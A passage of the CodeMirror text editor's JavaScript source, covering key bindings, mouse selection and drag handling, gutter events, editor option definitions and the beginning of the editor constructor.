    goGroupLeft: function (cm) { return cm.moveH(-1, "group"); },
    goWordRight: function (cm) { return cm.moveH(1, "word"); },
    delCharBefore: function (cm) { return cm.deleteH(-1, "codepoint"); },
    delCharAfter: function (cm) { return cm.deleteH(1, "char"); },
    delWordBefore: function (cm) { return cm.deleteH(-1, "word"); },
    delWordAfter: function (cm) { return cm.deleteH(1, "word"); },
    delGroupBefore: function (cm) { return cm.deleteH(-1, "group"); },
    delGroupAfter: function (cm) { return cm.deleteH(1, "group"); },
    indentAuto: function (cm) { return cm.indentSelection("smart"); },
    indentMore: function (cm) { return cm.indentSelection("add"); },
    indentLess: function (cm) { return cm.indentSelection("subtract"); },
    insertTab: function (cm) { return cm.replaceSelection("\t"); },
    insertSoftTab: function (cm) {
      var spaces = [], ranges = cm.listSelections(), tabSize = cm.options.tabSize;
      for (var i = 0; i < ranges.length; i++) {
        var pos = ranges[i].from();
        var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);
        spaces.push(spaceStr(tabSize - col % tabSize));
      }
      cm.replaceSelections(spaces);
    },
    defaultTab: function (cm) {
      if (cm.somethingSelected()) { cm.indentSelection("add"); }
      else { cm.execCommand("insertTab"); }
    },
    // Swap the two chars left and right of each selection's head.
    // Move cursor behind the two swapped characters afterwards.
    //
    // Doesn't consider line feeds a character.
    // Doesn't scan more than one line above to find a character.
    // Doesn't do anything on an empty line.
    // Doesn't do anything with non-empty selections.
    transposeChars: function (cm) { return runInOp(cm, function () {
      var ranges = cm.listSelections(), newSel = [];
      for (var i = 0; i < ranges.length; i++) {
        if (!ranges[i].empty()) { continue }
        var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;
        if (line) {
          if (cur.ch == line.length) { cur = new Pos(cur.line, cur.ch - 1); }
          if (cur.ch > 0) {
            cur = new Pos(cur.line, cur.ch + 1);
            cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch - 2),
                            Pos(cur.line, cur.ch - 2), cur, "+transpose");
          } else if (cur.line > cm.doc.first) {
            var prev = getLine(cm.doc, cur.line - 1).text;
            if (prev) {
              cur = new Pos(cur.line, 1);
              cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +
                              prev.charAt(prev.length - 1),
                              Pos(cur.line - 1, prev.length - 1), cur, "+transpose");
            }
          }
        }
        newSel.push(new Range(cur, cur));
      }
      cm.setSelections(newSel);
    }); },
    newlineAndIndent: function (cm) { return runInOp(cm, function () {
      var sels = cm.listSelections();
      for (var i = sels.length - 1; i >= 0; i--)
        { cm.replaceRange(cm.doc.lineSeparator(), sels[i].anchor, sels[i].head, "+input"); }
      sels = cm.listSelections();
      for (var i$1 = 0; i$1 < sels.length; i$1++)
        { cm.indentLine(sels[i$1].from().line, null, true); }
      ensureCursorVisible(cm);
    }); },
    openLine: function (cm) { return cm.replaceSelection("\n", "start"); },
    toggleOverwrite: function (cm) { return cm.toggleOverwrite(); }
  };


  function lineStart(cm, lineN) {
    var line = getLine(cm.doc, lineN);
    var visual = visualLine(line);
    if (visual != line) { lineN = lineNo(visual); }
    return endOfLine(true, cm, visual, lineN, 1)
  }
  function lineEnd(cm, lineN) {
    var line = getLine(cm.doc, lineN);
    var visual = visualLineEnd(line);
    if (visual != line) { lineN = lineNo(visual); }
    return endOfLine(true, cm, line, lineN, -1)
  }
  function lineStartSmart(cm, pos) {
    var start = lineStart(cm, pos.line);
    var line = getLine(cm.doc, start.line);
    var order = getOrder(line, cm.doc.direction);
    if (!order || order[0].level == 0) {
      var firstNonWS = Math.max(start.ch, line.text.search(/\S/));
      var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;
      return Pos(start.line, inWS ? 0 : firstNonWS, start.sticky)
    }
    return start
  }

  // Run a handler that was bound to a key.
  function doHandleBinding(cm, bound, dropShift) {
    if (typeof bound == "string") {
      bound = commands[bound];
      if (!bound) { return false }
    }
    // Ensure previous input has been read, so that the handler sees a
    // consistent view of the document
    cm.display.input.ensurePolled();
    var prevShift = cm.display.shift, done = false;
    try {
      if (cm.isReadOnly()) { cm.state.suppressEdits = true; }
      if (dropShift) { cm.display.shift = false; }
      done = bound(cm) != Pass;
    } finally {
      cm.display.shift = prevShift;
      cm.state.suppressEdits = false;
    }
    return done
  }

  function lookupKeyForEditor(cm, name, handle) {
    for (var i = 0; i < cm.state.keyMaps.length; i++) {
      var result = lookupKey(name, cm.state.keyMaps[i], handle, cm);
      if (result) { return result }
    }
    return (cm.options.extraKeys && lookupKey(name, cm.options.extraKeys, handle, cm))
      || lookupKey(name, cm.options.keyMap, handle, cm)
  }

  // Note that, despite the name, this function is also used to check
  // for bound mouse clicks.

  var stopSeq = new Delayed;

  function dispatchKey(cm, name, e, handle) {
    var seq = cm.state.keySeq;
    if (seq) {
      if (isModifierKey(name)) { return "handled" }
      if (/\'$/.test(name))
        { cm.state.keySeq = null; }
      else
        { stopSeq.set(50, function () {
          if (cm.state.keySeq == seq) {
            cm.state.keySeq = null;
            cm.display.input.reset();
          }
        }); }
      if (dispatchKeyInner(cm, seq + " " + name, e, handle)) { return true }
    }
    return dispatchKeyInner(cm, name, e, handle)
  }

  function dispatchKeyInner(cm, name, e, handle) {
    var result = lookupKeyForEditor(cm, name, handle);

    if (result == "multi")
      { cm.state.keySeq = name; }
    if (result == "handled")
      { signalLater(cm, "keyHandled", cm, name, e); }

    if (result == "handled" || result == "multi") {
      e_preventDefault(e);
      restartBlink(cm);
    }

    return !!result
  }

  // Handle a key from the keydown event.
  function handleKeyBinding(cm, e) {
    var name = keyName(e, true);
    if (!name) { return false }

    if (e.shiftKey && !cm.state.keySeq) {
      // First try to resolve full name (including 'Shift-'). Failing
      // that, see if there is a cursor-motion command (starting with
      // 'go') bound to the keyname without 'Shift-'.
      return dispatchKey(cm, "Shift-" + name, e, function (b) { return doHandleBinding(cm, b, true); })
          || dispatchKey(cm, name, e, function (b) {
               if (typeof b == "string" ? /^go[A-Z]/.test(b) : b.motion)
                 { return doHandleBinding(cm, b) }
             })
    } else {
      return dispatchKey(cm, name, e, function (b) { return doHandleBinding(cm, b); })
    }
  }

  // Handle a key from the keypress event
  function handleCharBinding(cm, e, ch) {
    return dispatchKey(cm, "'" + ch + "'", e, function (b) { return doHandleBinding(cm, b, true); })
  }

  var lastStoppedKey = null;
  function onKeyDown(e) {
    var cm = this;
    if (e.target && e.target != cm.display.input.getField()) { return }
    cm.curOp.focus = activeElt();
    if (signalDOMEvent(cm, e)) { return }
    // IE does strange things with escape.
    if (ie && ie_version < 11 && e.keyCode == 27) { e.returnValue = false; }
    var code = e.keyCode;
    cm.display.shift = code == 16 || e.shiftKey;
    var handled = handleKeyBinding(cm, e);
    if (presto) {
      lastStoppedKey = handled ? code : null;
      // Opera has no cut event... we try to at least catch the key combo
      if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))
        { cm.replaceSelection("", null, "cut"); }
    }
    if (gecko && !mac && !handled && code == 46 && e.shiftKey && !e.ctrlKey && document.execCommand)
      { document.execCommand("cut"); }

    // Turn mouse into crosshair when Alt is held on Mac.
    if (code == 18 && !/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className))
      { showCrossHair(cm); }
  }

  function showCrossHair(cm) {
    var lineDiv = cm.display.lineDiv;
    addClass(lineDiv, "CodeMirror-crosshair");

    function up(e) {
      if (e.keyCode == 18 || !e.altKey) {
        rmClass(lineDiv, "CodeMirror-crosshair");
        off(document, "keyup", up);
        off(document, "mouseover", up);
      }
    }
    on(document, "keyup", up);
    on(document, "mouseover", up);
  }

  function onKeyUp(e) {
    if (e.keyCode == 16) { this.doc.sel.shift = false; }
    signalDOMEvent(this, e);
  }

  function onKeyPress(e) {
    var cm = this;
    if (e.target && e.target != cm.display.input.getField()) { return }
    if (eventInWidget(cm.display, e) || signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) { return }
    var keyCode = e.keyCode, charCode = e.charCode;
    if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return}
    if ((presto && (!e.which || e.which < 10)) && handleKeyBinding(cm, e)) { return }
    var ch = String.fromCharCode(charCode == null ? keyCode : charCode);
    // Some browsers fire keypress events for backspace
    if (ch == "\x08") { return }
    if (handleCharBinding(cm, e, ch)) { return }
    cm.display.input.onKeyPress(e);
  }

  var DOUBLECLICK_DELAY = 400;

  var PastClick = function(time, pos, button) {
    this.time = time;
    this.pos = pos;
    this.button = button;
  };

  PastClick.prototype.compare = function (time, pos, button) {
    return this.time + DOUBLECLICK_DELAY > time &&
      cmp(pos, this.pos) == 0 && button == this.button
  };

  var lastClick, lastDoubleClick;
  function clickRepeat(pos, button) {
    var now = +new Date;
    if (lastDoubleClick && lastDoubleClick.compare(now, pos, button)) {
      lastClick = lastDoubleClick = null;
      return "triple"
    } else if (lastClick && lastClick.compare(now, pos, button)) {
      lastDoubleClick = new PastClick(now, pos, button);
      lastClick = null;
      return "double"
    } else {
      lastClick = new PastClick(now, pos, button);
      lastDoubleClick = null;
      return "single"
    }
  }

  // A mouse down can be a single click, double click, triple click,
  // start of selection drag, start of text drag, new cursor
  // (ctrl-click), rectangle drag (alt-drag), or xwin
  // middle-click-paste. Or it might be a click on something we should
  // not interfere with, such as a scrollbar or widget.
  function onMouseDown(e) {
    var cm = this, display = cm.display;
    if (signalDOMEvent(cm, e) || display.activeTouch && display.input.supportsTouch()) { return }
    display.input.ensurePolled();
    display.shift = e.shiftKey;

    if (eventInWidget(display, e)) {
      if (!webkit) {
        // Briefly turn off draggability, to allow widgets to do
        // normal dragging things.
        display.scroller.draggable = false;
        setTimeout(function () { return display.scroller.draggable = true; }, 100);
      }
      return
    }
    if (clickInGutter(cm, e)) { return }
    var pos = posFromMouse(cm, e), button = e_button(e), repeat = pos ? clickRepeat(pos, button) : "single";
    window.focus();

    // #3261: make sure, that we're not starting a second selection
    if (button == 1 && cm.state.selectingText)
      { cm.state.selectingText(e); }

    if (pos && handleMappedButton(cm, button, pos, repeat, e)) { return }

    if (button == 1) {
      if (pos) { leftButtonDown(cm, pos, repeat, e); }
      else if (e_target(e) == display.scroller) { e_preventDefault(e); }
    } else if (button == 2) {
      if (pos) { extendSelection(cm.doc, pos); }
      setTimeout(function () { return display.input.focus(); }, 20);
    } else if (button == 3) {
      if (captureRightClick) { cm.display.input.onContextMenu(e); }
      else { delayBlurEvent(cm); }
    }
  }

  function handleMappedButton(cm, button, pos, repeat, event) {
    var name = "Click";
    if (repeat == "double") { name = "Double" + name; }
    else if (repeat == "triple") { name = "Triple" + name; }
    name = (button == 1 ? "Left" : button == 2 ? "Middle" : "Right") + name;

    return dispatchKey(cm,  addModifierNames(name, event), event, function (bound) {
      if (typeof bound == "string") { bound = commands[bound]; }
      if (!bound) { return false }
      var done = false;
      try {
        if (cm.isReadOnly()) { cm.state.suppressEdits = true; }
        done = bound(cm, pos) != Pass;
      } finally {
        cm.state.suppressEdits = false;
      }
      return done
    })
  }

  function configureMouse(cm, repeat, event) {
    var option = cm.getOption("configureMouse");
    var value = option ? option(cm, repeat, event) : {};
    if (value.unit == null) {
      var rect = chromeOS ? event.shiftKey && event.metaKey : event.altKey;
      value.unit = rect ? "rectangle" : repeat == "single" ? "char" : repeat == "double" ? "word" : "line";
    }
    if (value.extend == null || cm.doc.extend) { value.extend = cm.doc.extend || event.shiftKey; }
    if (value.addNew == null) { value.addNew = mac ? event.metaKey : event.ctrlKey; }
    if (value.moveOnDrag == null) { value.moveOnDrag = !(mac ? event.altKey : event.ctrlKey); }
    return value
  }

  function leftButtonDown(cm, pos, repeat, event) {
    if (ie) { setTimeout(bind(ensureFocus, cm), 0); }
    else { cm.curOp.focus = activeElt(); }

    var behavior = configureMouse(cm, repeat, event);

    var sel = cm.doc.sel, contained;
    if (cm.options.dragDrop && dragAndDrop && !cm.isReadOnly() &&
        repeat == "single" && (contained = sel.contains(pos)) > -1 &&
        (cmp((contained = sel.ranges[contained]).from(), pos) < 0 || pos.xRel > 0) &&
        (cmp(contained.to(), pos) > 0 || pos.xRel < 0))
      { leftButtonStartDrag(cm, event, pos, behavior); }
    else
      { leftButtonSelect(cm, event, pos, behavior); }
  }

  // Start a text drag. When it ends, see if any dragging actually
  // happen, and treat as a click if it didn't.
  function leftButtonStartDrag(cm, event, pos, behavior) {
    var display = cm.display, moved = false;
    var dragEnd = operation(cm, function (e) {
      if (webkit) { display.scroller.draggable = false; }
      cm.state.draggingText = false;
      if (cm.state.delayingBlurEvent) {
        if (cm.hasFocus()) { cm.state.delayingBlurEvent = false; }
        else { delayBlurEvent(cm); }
      }
      off(display.wrapper.ownerDocument, "mouseup", dragEnd);
      off(display.wrapper.ownerDocument, "mousemove", mouseMove);
      off(display.scroller, "dragstart", dragStart);
      off(display.scroller, "drop", dragEnd);
      if (!moved) {
        e_preventDefault(e);
        if (!behavior.addNew)
          { extendSelection(cm.doc, pos, null, null, behavior.extend); }
        // Work around unexplainable focus problem in IE9 (#2127) and Chrome (#3081)
        if ((webkit && !safari) || ie && ie_version == 9)
          { setTimeout(function () {display.wrapper.ownerDocument.body.focus({preventScroll: true}); display.input.focus();}, 20); }
        else
          { display.input.focus(); }
      }
    });
    var mouseMove = function(e2) {
      moved = moved || Math.abs(event.clientX - e2.clientX) + Math.abs(event.clientY - e2.clientY) >= 10;
    };
    var dragStart = function () { return moved = true; };
    // Let the drag handler handle this.
    if (webkit) { display.scroller.draggable = true; }
    cm.state.draggingText = dragEnd;
    dragEnd.copy = !behavior.moveOnDrag;
    on(display.wrapper.ownerDocument, "mouseup", dragEnd);
    on(display.wrapper.ownerDocument, "mousemove", mouseMove);
    on(display.scroller, "dragstart", dragStart);
    on(display.scroller, "drop", dragEnd);

    cm.state.delayingBlurEvent = true;
    setTimeout(function () { return display.input.focus(); }, 20);
    // IE's approach to draggable
    if (display.scroller.dragDrop) { display.scroller.dragDrop(); }
  }

  function rangeForUnit(cm, pos, unit) {
    if (unit == "char") { return new Range(pos, pos) }
    if (unit == "word") { return cm.findWordAt(pos) }
    if (unit == "line") { return new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0))) }
    var result = unit(cm, pos);
    return new Range(result.from, result.to)
  }

  // Normal selection, as opposed to text dragging.
  function leftButtonSelect(cm, event, start, behavior) {
    if (ie) { delayBlurEvent(cm); }
    var display = cm.display, doc = cm.doc;
    e_preventDefault(event);

    var ourRange, ourIndex, startSel = doc.sel, ranges = startSel.ranges;
    if (behavior.addNew && !behavior.extend) {
      ourIndex = doc.sel.contains(start);
      if (ourIndex > -1)
        { ourRange = ranges[ourIndex]; }
      else
        { ourRange = new Range(start, start); }
    } else {
      ourRange = doc.sel.primary();
      ourIndex = doc.sel.primIndex;
    }

    if (behavior.unit == "rectangle") {
      if (!behavior.addNew) { ourRange = new Range(start, start); }
      start = posFromMouse(cm, event, true, true);
      ourIndex = -1;
    } else {
      var range = rangeForUnit(cm, start, behavior.unit);
      if (behavior.extend)
        { ourRange = extendRange(ourRange, range.anchor, range.head, behavior.extend); }
      else
        { ourRange = range; }
    }

    if (!behavior.addNew) {
      ourIndex = 0;
      setSelection(doc, new Selection([ourRange], 0), sel_mouse);
      startSel = doc.sel;
    } else if (ourIndex == -1) {
      ourIndex = ranges.length;
      setSelection(doc, normalizeSelection(cm, ranges.concat([ourRange]), ourIndex),
                   {scroll: false, origin: "*mouse"});
    } else if (ranges.length > 1 && ranges[ourIndex].empty() && behavior.unit == "char" && !behavior.extend) {
      setSelection(doc, normalizeSelection(cm, ranges.slice(0, ourIndex).concat(ranges.slice(ourIndex + 1)), 0),
                   {scroll: false, origin: "*mouse"});
      startSel = doc.sel;
    } else {
      replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);
    }

    var lastPos = start;
    function extendTo(pos) {
      if (cmp(lastPos, pos) == 0) { return }
      lastPos = pos;

      if (behavior.unit == "rectangle") {
        var ranges = [], tabSize = cm.options.tabSize;
        var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);
        var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);
        var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);
        for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));
             line <= end; line++) {
          var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);
          if (left == right)
            { ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos))); }
          else if (text.length > leftPos)
            { ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize)))); }
        }
        if (!ranges.length) { ranges.push(new Range(start, start)); }
        setSelection(doc, normalizeSelection(cm, startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),
                     {origin: "*mouse", scroll: false});
        cm.scrollIntoView(pos);
      } else {
        var oldRange = ourRange;
        var range = rangeForUnit(cm, pos, behavior.unit);
        var anchor = oldRange.anchor, head;
        if (cmp(range.anchor, anchor) > 0) {
          head = range.head;
          anchor = minPos(oldRange.from(), range.anchor);
        } else {
          head = range.anchor;
          anchor = maxPos(oldRange.to(), range.head);
        }
        var ranges$1 = startSel.ranges.slice(0);
        ranges$1[ourIndex] = bidiSimplify(cm, new Range(clipPos(doc, anchor), head));
        setSelection(doc, normalizeSelection(cm, ranges$1, ourIndex), sel_mouse);
      }
    }

    var editorSize = display.wrapper.getBoundingClientRect();
    // Used to ensure timeout re-tries don't fire when another extend
    // happened in the meantime (clearTimeout isn't reliable -- at
    // least on Chrome, the timeouts still happen even when cleared,
    // if the clear happens after their scheduled firing time).
    var counter = 0;

    function extend(e) {
      var curCount = ++counter;
      var cur = posFromMouse(cm, e, true, behavior.unit == "rectangle");
      if (!cur) { return }
      if (cmp(cur, lastPos) != 0) {
        cm.curOp.focus = activeElt();
        extendTo(cur);
        var visible = visibleLines(display, doc);
        if (cur.line >= visible.to || cur.line < visible.from)
          { setTimeout(operation(cm, function () {if (counter == curCount) { extend(e); }}), 150); }
      } else {
        var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;
        if (outside) { setTimeout(operation(cm, function () {
          if (counter != curCount) { return }
          display.scroller.scrollTop += outside;
          extend(e);
        }), 50); }
      }
    }

    function done(e) {
      cm.state.selectingText = false;
      counter = Infinity;
      // If e is null or undefined we interpret this as someone trying
      // to explicitly cancel the selection rather than the user
      // letting go of the mouse button.
      if (e) {
        e_preventDefault(e);
        display.input.focus();
      }
      off(display.wrapper.ownerDocument, "mousemove", move);
      off(display.wrapper.ownerDocument, "mouseup", up);
      doc.history.lastSelOrigin = null;
    }

    var move = operation(cm, function (e) {
      if (e.buttons === 0 || !e_button(e)) { done(e); }
      else { extend(e); }
    });
    var up = operation(cm, done);
    cm.state.selectingText = up;
    on(display.wrapper.ownerDocument, "mousemove", move);
    on(display.wrapper.ownerDocument, "mouseup", up);
  }

  // Used when mouse-selecting to adjust the anchor to the proper side
  // of a bidi jump depending on the visual position of the head.
  function bidiSimplify(cm, range) {
    var anchor = range.anchor;
    var head = range.head;
    var anchorLine = getLine(cm.doc, anchor.line);
    if (cmp(anchor, head) == 0 && anchor.sticky == head.sticky) { return range }
    var order = getOrder(anchorLine);
    if (!order) { return range }
    var index = getBidiPartAt(order, anchor.ch, anchor.sticky), part = order[index];
    if (part.from != anchor.ch && part.to != anchor.ch) { return range }
    var boundary = index + ((part.from == anchor.ch) == (part.level != 1) ? 0 : 1);
    if (boundary == 0 || boundary == order.length) { return range }

    // Compute the relative visual position of the head compared to the
    // anchor (<0 is to the left, >0 to the right)
    var leftSide;
    if (head.line != anchor.line) {
      leftSide = (head.line - anchor.line) * (cm.doc.direction == "ltr" ? 1 : -1) > 0;
    } else {
      var headIndex = getBidiPartAt(order, head.ch, head.sticky);
      var dir = headIndex - index || (head.ch - anchor.ch) * (part.level == 1 ? -1 : 1);
      if (headIndex == boundary - 1 || headIndex == boundary)
        { leftSide = dir < 0; }
      else
        { leftSide = dir > 0; }
    }

    var usePart = order[boundary + (leftSide ? -1 : 0)];
    var from = leftSide == (usePart.level == 1);
    var ch = from ? usePart.from : usePart.to, sticky = from ? "after" : "before";
    return anchor.ch == ch && anchor.sticky == sticky ? range : new Range(new Pos(anchor.line, ch, sticky), head)
  }


  // Determines whether an event happened in the gutter, and fires the
  // handlers for the corresponding event.
  function gutterEvent(cm, e, type, prevent) {
    var mX, mY;
    if (e.touches) {
      mX = e.touches[0].clientX;
      mY = e.touches[0].clientY;
    } else {
      try { mX = e.clientX; mY = e.clientY; }
      catch(e$1) { return false }
    }
    if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) { return false }
    if (prevent) { e_preventDefault(e); }

    var display = cm.display;
    var lineBox = display.lineDiv.getBoundingClientRect();

    if (mY > lineBox.bottom || !hasHandler(cm, type)) { return e_defaultPrevented(e) }
    mY -= lineBox.top - display.viewOffset;

    for (var i = 0; i < cm.display.gutterSpecs.length; ++i) {
      var g = display.gutters.childNodes[i];
      if (g && g.getBoundingClientRect().right >= mX) {
        var line = lineAtHeight(cm.doc, mY);
        var gutter = cm.display.gutterSpecs[i];
        signal(cm, type, cm, line, gutter.className, e);
        return e_defaultPrevented(e)
      }
    }
  }

  function clickInGutter(cm, e) {
    return gutterEvent(cm, e, "gutterClick", true)
  }

  // CONTEXT MENU HANDLING

  // To make the context menu work, we need to briefly unhide the
  // textarea (making it as unobtrusive as possible) to let the
  // right-click take effect on it.
  function onContextMenu(cm, e) {
    if (eventInWidget(cm.display, e) || contextMenuInGutter(cm, e)) { return }
    if (signalDOMEvent(cm, e, "contextmenu")) { return }
    if (!captureRightClick) { cm.display.input.onContextMenu(e); }
  }

  function contextMenuInGutter(cm, e) {
    if (!hasHandler(cm, "gutterContextMenu")) { return false }
    return gutterEvent(cm, e, "gutterContextMenu", false)
  }

  function themeChanged(cm) {
    cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") +
      cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-");
    clearCaches(cm);
  }

  var Init = {toString: function(){return "CodeMirror.Init"}};

  var defaults = {};
  var optionHandlers = {};

  function defineOptions(CodeMirror) {
    var optionHandlers = CodeMirror.optionHandlers;

    function option(name, deflt, handle, notOnInit) {
      CodeMirror.defaults[name] = deflt;
      if (handle) { optionHandlers[name] =
        notOnInit ? function (cm, val, old) {if (old != Init) { handle(cm, val, old); }} : handle; }
    }

    CodeMirror.defineOption = option;

    // Passed to option handlers when there is no old value.
    CodeMirror.Init = Init;

    // These two are, on init, called from the constructor because they
    // have to be initialized before the editor can start at all.
    option("value", "", function (cm, val) { return cm.setValue(val); }, true);
    option("mode", null, function (cm, val) {
      cm.doc.modeOption = val;
      loadMode(cm);
    }, true);

    option("indentUnit", 2, loadMode, true);
    option("indentWithTabs", false);
    option("smartIndent", true);
    option("tabSize", 4, function (cm) {
      resetModeState(cm);
      clearCaches(cm);
      regChange(cm);
    }, true);

    option("lineSeparator", null, function (cm, val) {
      cm.doc.lineSep = val;
      if (!val) { return }
      var newBreaks = [], lineNo = cm.doc.first;
      cm.doc.iter(function (line) {
        for (var pos = 0;;) {
          var found = line.text.indexOf(val, pos);
          if (found == -1) { break }
          pos = found + val.length;
          newBreaks.push(Pos(lineNo, found));
        }
        lineNo++;
      });
      for (var i = newBreaks.length - 1; i >= 0; i--)
        { replaceRange(cm.doc, val, newBreaks[i], Pos(newBreaks[i].line, newBreaks[i].ch + val.length)); }
    });
    option("specialChars", /[\u0000-\u001f\u007f-\u009f\u00ad\u061c\u200b-\u200c\u200e\u200f\u2028\u2029\ufeff\ufff9-\ufffc]/g, function (cm, val, old) {
      cm.state.specialChars = new RegExp(val.source + (val.test("\t") ? "" : "|\t"), "g");
      if (old != Init) { cm.refresh(); }
    });
    option("specialCharPlaceholder", defaultSpecialCharPlaceholder, function (cm) { return cm.refresh(); }, true);
    option("electricChars", true);
    option("inputStyle", mobile ? "contenteditable" : "textarea", function () {
      throw new Error("inputStyle can not (yet) be changed in a running editor") // FIXME
    }, true);
    option("spellcheck", false, function (cm, val) { return cm.getInputField().spellcheck = val; }, true);
    option("autocorrect", false, function (cm, val) { return cm.getInputField().autocorrect = val; }, true);
    option("autocapitalize", false, function (cm, val) { return cm.getInputField().autocapitalize = val; }, true);
    option("rtlMoveVisually", !windows);
    option("wholeLineUpdateBefore", true);

    option("theme", "default", function (cm) {
      themeChanged(cm);
      updateGutters(cm);
    }, true);
    option("keyMap", "default", function (cm, val, old) {
      var next = getKeyMap(val);
      var prev = old != Init && getKeyMap(old);
      if (prev && prev.detach) { prev.detach(cm, next); }
      if (next.attach) { next.attach(cm, prev || null); }
    });
    option("extraKeys", null);
    option("configureMouse", null);

    option("lineWrapping", false, wrappingChanged, true);
    option("gutters", [], function (cm, val) {
      cm.display.gutterSpecs = getGutters(val, cm.options.lineNumbers);
      updateGutters(cm);
    }, true);
    option("fixedGutter", true, function (cm, val) {
      cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + "px" : "0";
      cm.refresh();
    }, true);
    option("coverGutterNextToScrollbar", false, function (cm) { return updateScrollbars(cm); }, true);
    option("scrollbarStyle", "native", function (cm) {
      initScrollbars(cm);
      updateScrollbars(cm);
      cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);
      cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft);
    }, true);
    option("lineNumbers", false, function (cm, val) {
      cm.display.gutterSpecs = getGutters(cm.options.gutters, val);
      updateGutters(cm);
    }, true);
    option("firstLineNumber", 1, updateGutters, true);
    option("lineNumberFormatter", function (integer) { return integer; }, updateGutters, true);
    option("showCursorWhenSelecting", false, updateSelection, true);

    option("resetSelectionOnContextMenu", true);
    option("lineWiseCopyCut", true);
    option("pasteLinesPerSelection", true);
    option("selectionsMayTouch", false);

    option("readOnly", false, function (cm, val) {
      if (val == "nocursor") {
        onBlur(cm);
        cm.display.input.blur();
      }
      cm.display.input.readOnlyChanged(val);
    });

    option("screenReaderLabel", null, function (cm, val) {
      val = (val === '') ? null : val;
      cm.display.input.screenReaderLabelChanged(val);
    });

    option("disableInput", false, function (cm, val) {if (!val) { cm.display.input.reset(); }}, true);
    option("dragDrop", true, dragDropChanged);
    option("allowDropFileTypes", null);

    option("cursorBlinkRate", 530);
    option("cursorScrollMargin", 0);
    option("cursorHeight", 1, updateSelection, true);
    option("singleCursorHeightPerLine", true, updateSelection, true);
    option("workTime", 100);
    option("workDelay", 100);
    option("flattenSpans", true, resetModeState, true);
    option("addModeClass", false, resetModeState, true);
    option("pollInterval", 100);
    option("undoDepth", 200, function (cm, val) { return cm.doc.history.undoDepth = val; });
    option("historyEventDelay", 1250);
    option("viewportMargin", 10, function (cm) { return cm.refresh(); }, true);
    option("maxHighlightLength", 10000, resetModeState, true);
    option("moveInputWithCursor", true, function (cm, val) {
      if (!val) { cm.display.input.resetPosition(); }
    });

    option("tabindex", null, function (cm, val) { return cm.display.input.getField().tabIndex = val || ""; });
    option("autofocus", null);
    option("direction", "ltr", function (cm, val) { return cm.doc.setDirection(val); }, true);
    option("phrases", null);
  }

  function dragDropChanged(cm, value, old) {
    var wasOn = old && old != Init;
    if (!value != !wasOn) {
      var funcs = cm.display.dragFunctions;
      var toggle = value ? on : off;
      toggle(cm.display.scroller, "dragstart", funcs.start);
      toggle(cm.display.scroller, "dragenter", funcs.enter);
      toggle(cm.display.scroller, "dragover", funcs.over);
      toggle(cm.display.scroller, "dragleave", funcs.leave);
      toggle(cm.display.scroller, "drop", funcs.drop);
    }
  }

  function wrappingChanged(cm) {
    if (cm.options.lineWrapping) {
      addClass(cm.display.wrapper, "CodeMirror-wrap");
      cm.display.sizer.style.minWidth = "";
      cm.display.sizerWidth = null;
    } else {
      rmClass(cm.display.wrapper, "CodeMirror-wrap");
      findMaxLine(cm);
    }
    estimateLineHeights(cm);
    regChange(cm);
    clearCaches(cm);
    setTimeout(function () { return updateScrollbars(cm); }, 100);
  }

  // A CodeMirror instance represents an editor. This is the object
  // that user code is usually dealing with.

  function CodeMirror(place, options) {
    var this$1 = this;

    if (!(this instanceof CodeMirror)) { return new CodeMirror(place, options) }

    this.options = options = options ? copyObj(options) : {};
    // Determine effective options based on given values and defaults.
    copyObj(defaults, options, false);

    var doc = options.value;
    if (typeof doc == "string") { doc = new Doc(doc, options.mode, null, options.lineSeparator, options.direction); }
    else if (options.mode) { doc.modeOption = options.mode; }
    this.doc = doc;

    var input = new CodeMirror.inputStyles[options.inputStyle](this);
    var display = this.display = new Display(place, doc, input, options);
    display.wrapper.CodeMirror = this;
    themeChanged(this);
    if (options.lineWrapping)
      { this.display.wrapper.className += " CodeMirror-wrap"; }
    initScrollbars(this);

    this.state = {
      keyMaps: [],  // stores maps added by addKeyMap
      overlays: [], // highlighting overlays, as added by addOverlay
      modeGen: 0,   // bumped when mode/overlay changes, used to invalidate highlighting info
      overwrite: false,
      delayingBlurEvent: false,
      focused: false,
      suppressEdits: false, // used to disable editing during key handlers when in readOnly mode
      pasteIncoming: -1, cutIncoming: -1, // help recognize paste/cut edits in input.poll
      selectingText: false,
      draggingText: false,
      highlight: new Delayed(), // stores highlight worker timeout
      keySeq: null,  // Unfinished key sequence
      specialChars: null
    };

    if (options.autofocus && !mobile) { display.input.focus(); }

    // Override magic textarea content restore that IE sometimes does
    // on our hidden textarea on reload
    if (ie && ie_version < 11) { setTimeout(function () { return this$1.display.input.reset(true); }, 20); }

    registerEventHandlers(this);
    ensureGlobalHandlers();

    startOperation(this);
    this.curOp.forceUpdate = true;
    attachDoc(this, doc);

    if ((options.autofocus && !mobile) || this.hasFocus())
      { setTimeout(function () {
        if (this$1.hasFocus() && !this$1.state.focused) { onFocus(this$1); }
      }, 20); }
    else
      { onBlur(this); }

